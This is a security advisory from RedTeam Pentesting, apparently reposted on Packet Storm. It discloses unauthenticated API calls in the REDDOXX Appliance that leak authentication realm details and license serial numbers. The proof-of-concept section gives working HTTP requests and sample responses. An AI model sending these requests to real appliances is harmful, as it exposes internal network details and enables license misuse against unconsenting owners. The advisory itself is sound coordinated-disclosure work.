what you don't know can hurt you

REDDOXX Appliance Information Disclosure

REDDOXX Appliance Information Disclosure
Posted Jul 1, 2019
Site redteam-pentesting.de

REDDOXX Appliance versions 2032-SP2 up to hotfix 51 suffer from an information disclosure vulnerability.

tags | exploit, info disclosure
MD5 | bceab1f0503b67a6767f8ab9104ece99

REDDOXX Appliance Information Disclosure

Change Mirror Download
Advisory: Information Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an Information Disclosure vulnerability in
the REDDOXX appliance software, which allows unauthenticated attackers
to gain information about the internal network the appliance is part of.


Details
=======

Product: REDDOXX Appliance
Affected Versions: 2032-SP2 up to hotfix 51
Fixed Versions: 2032-SP2 hotfix 53
Vulnerability Type: Information Disclosure
Security Risk: low
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-012
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. It
was discovered that the API functions "CoreService.GetRealmList" and
"CoreService.GetLicense" are available without requiring authentication.
This allows attackers to get information about the configured
authentication mechanisms, for example Windows domain controllers if
Active Directory authentication is in use. Additionally, the REDDOXX
license serial number can be extracted.


Proof of Concept
================

All functions of this API require a parameter "id" with a UUID. For
this, the UUID provided by the system itself when using the login form
can be used, but any valid UUID will be accepted. The
"CoreService.GetRealmList" API function can be used as follows:

------------------------------------------------------------------------
POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}}
------------------------------------------------------------------------

It provides details about the authentication realms, such as hostname and
port of the authentication server or the BaseDN for Active Directory/LDAP
authentication:

------------------------------------------------------------------------
{
"version": "1.1",
"id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
"result": {
"RealmList": [
{
"AuthServer": "",
"AuthType": "local",
"BaseDN": "",
"DisableSavePassword": false,
"ImportAddresses": false,
"Name": "local",
"SetPrimaryAddress": false,
"TcpPort": "0",
"UseTLS": false,
"WindowsDomain": ""
},
{
"AuthServer": "dc1.example.com",
"AuthType": "Windows 2003",
"BaseDN": "DC=example,DC=com",
"DisableSavePassword": false,
"ImportAddresses": true,
"Name": "example.com",
"SetPrimaryAddress": true,
"TcpPort": "389",
"UseTLS": false,
"WindowsDomain": "example.com"
},
{
"AuthServer": "dc2.example.com",
"AuthType": "Windows 2003",
"BaseDN": "DC=example,DC=net",
"DisableSavePassword": false,
"ImportAddresses": true,
"Name": "example.com",
"SetPrimaryAddress": true,
"TcpPort": "389",
"UseTLS": false,
"WindowsDomain": "example.com"
}
]
}
}
------------------------------------------------------------------------


The "CoreService.GetLicense" API call can be used as follows:

------------------------------------------------------------------------
POST /RdxEngine/json HTTP/1.1
Host: reddoxx.example.com
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetLicense","params":{}}
------------------------------------------------------------------------

It provides details about the used license (serial number replaced by
random value for demonstration purposes):

------------------------------------------------------------------------
{
"version": "1.1",
"id": "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}",
"result": {
"License": {
"Activated": true,
"ActivationDate": "2000-01-01T12:34:56",
"ApplianceID": "1234",
"ArchiveLicenses": "10000",
"Cluster": false,
"Customer": "Example Ltd.",
"HasFullMaildepotLicense": true,
"HasFullSpamfinderLicense": true,
"HasMaildepotPremiumLicense": true,
"MailDepotImporterLicense": false,
"MailSealerLicenses": "10000",
"MailSealerSignatureLicense": false,
"MsxAgentLicenses": "10000",
"SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y",
"ServiceDate": "1899-12-30T00:00:00",
"SpamfinderLicenses": "10000",
"SubscriptionDate": "2020-01-30T12:34:56",
"Valid": true,
"VirusScan": true
}
}
}
------------------------------------------------------------------------


Workaround
==========

None


Fix
===

Install the latest hotfixes for the appliance, see [2].


Security Risk
=============

The risk of the information disclosure through the two API calls is
estimated to be low. Although the API calls should not be available
without authentication, "CoreService.GetRealmList" will only return
rudimentary information about the authentication realms and
"CoreService.GetLicense" is mostly a problem for the vendor, as the
serial number could be misused to set up a licensed application without
paying.


Timeline
========

2019-05-21 Vulnerability identified
2019-05-24 Customer approved disclosure to vendor
2019-06-04 Vendor notified
2019-06-05 Vendor acknowledges the vulnerability
2019-06-17 Vendor released hotfix
2019-06-24 Customer approved release
2019-07-01 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)
[2] https://appliance.docs.reddoxx.com/de/release-notes/release-notes-version-2032-service-pack-2-2-2-1242


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close